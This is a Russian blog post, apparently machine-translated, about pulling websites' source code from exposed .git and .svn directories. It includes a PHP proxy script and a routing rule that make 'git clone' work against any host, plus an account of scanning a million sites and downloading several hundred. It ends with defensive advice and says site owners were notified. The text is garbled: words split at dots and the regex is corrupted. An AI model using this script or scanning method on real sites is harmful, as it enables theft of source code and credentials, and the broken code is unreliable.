Как Я Скачал Исходный Код Собственного Сайта

В сентябре 2009 года было опубликовано статья об уязвимости, связанной с системой контроля версий Subversion, позволяющей загружать исходный код сайтов с помощью SVN. Время от времени, от нечего делать, мой мозг хотел, чтобы я написал граббер и проверил актуальность этой угрозы в текущий момент, но мне было как-то лень.

Однако меня преследовало комментарий хабраузер Семенов

Как я скачал исходный код собственного сайта

Понятное дело, что каждый школьник уже пробовал скачать %sitename% через .

svn, поэтому я сразу отказался от этой идеи, но попробую git клон %sitename%/.

git/ мои руки чесались.

Для начала я отключил 404 на .

git* на своем сайте и создал репозиторий git в общедоступном каталоге.

  
   

$ git init && git add .

&& git commit -m 'Test' Initialized empty Git repository in /home/ilyaplot/data/www/web/.

git/ [master (root-commit) d3dcdf3] Test 15 files changed, 713 insertions(+) .



Теперь вы можете попробовать получить вновь созданный репозиторий.



$ git clone http://******.

com/.

git/ Cloning into '******.

com'.

fatal: http://'******.

com/.

git/info/refs not found: did you run git update-server-info on the server?

Как оказалось, не все так просто.

Для того чтобы репозиторий клонировался таким способом, нужно запустить git update-server-info в папке проекта, чего я по понятным причинам сделать не могу.

Получается, что для реализации задуманного нужен всего один файл .

git/info/refs, содержащий хэш коммита для HEAD. Поскольку хэш коммита можно получить из .

git/refs/heads/master, вы можете просто создать прокси-скрипт, который будет возвращать то, что git ожидает получить.

В итоге у меня получился очень простой PHP-скрипт. Я просто создал контроллер в своем проекте Yii2 со следующим содержимым:

header("Content-Type: application/octet-stream"); if (preg_match("/^(ЭP<host>[\w\-\.

]+)\/(ЭP<url>.

+)/isu", $host, $matches)) { if ($matches['url'] == 'info/refs') { $ref = file_get_contents('http://' .

$matches['host'] .

'/.

git/refs/heads/master'); $ref = trim($ref); echo "{$ref}\trefs/heads/master {$ref}\trefs/remotes/origin/HEAD {$ref}\trefs/remotes/origin/master "; } else { echo file_get_contents('http://' .

$matches['host'] .

'/.

git/' .

$matches['url']); } exit(); }

И добавил правило в urlManager

[ 'pattern' => 'git/<host[\w\-\.

\/]+>', 'route' => 'git/index', 'suffix' => '', ],

Теперь я могу попытаться клонировать свой сайт, используя свой собственный сайт. Здесь должна быть шутка про монитор Давай попробуем

$ git clone http://******.

com/git/******.

com Cloning into '******.

com'.

$ ls ******.

com/ assets css favicon.ico images js robots.txt sitemaps

Случилось! После этого я опробовал этот метод на гигантских сайтах и получил то, что ожидал.

Ничего.

Затем я взял список из миллиона самых посещаемых сайтов в Интернете и просмотрел его весь.

Я ожидал получить много исходников, но из 1 миллиона сайтов мне удалось скачать только 4. Для 126 сайтов из тех, что я исследовал, я получил .

git/refs/heads/master с хэшем коммита, но я был не удалось клонировать репозиторий из-за того, что система маршрутизации этих сайтов выдала 404. Я ожидал, конечно, большего, поэтому решил проверить, на сколько больше или меньше сайтов я смогу скачать через .

svn. Я нашел граббер на Python, настроил его для того же списка в миллион сайтов и запустил.

Было скачано несколько сотен сайтов.

И в заключение дам вам несколько советов.

  1. Теперь проверьте наличие /.

    git/index на вашем сайте с помощью обычного браузера.

    Если вы не получили 403 или 404, то следующие пункты для вас.

  2. Настройте свой сервер так, чтобы он возвращал 404 в .

    svn и .

    git.

  3. Разместите исходный код сайта, который не должен быть получен клиентом за пределами публичного каталога.

  4. Возможно, стоит изменить используемые в конфигах пароли, url для доступа в админку и удалить служебные скрипты из публичного каталога.

По понятным причинам я не могу сказать, какие сайты были клонированы, но могу сказать точно, что владельцы этих сайтов уже получили письмо, в котором я указал на недостаток.

УПД: kaimi_ru поделился ссылкой на скрипты для 5 систем контроля версий github.com/kost/dvcs-ripper Теги: #git #уязвимость #информационная безопасность

Вместе с данным постом часто просматривают: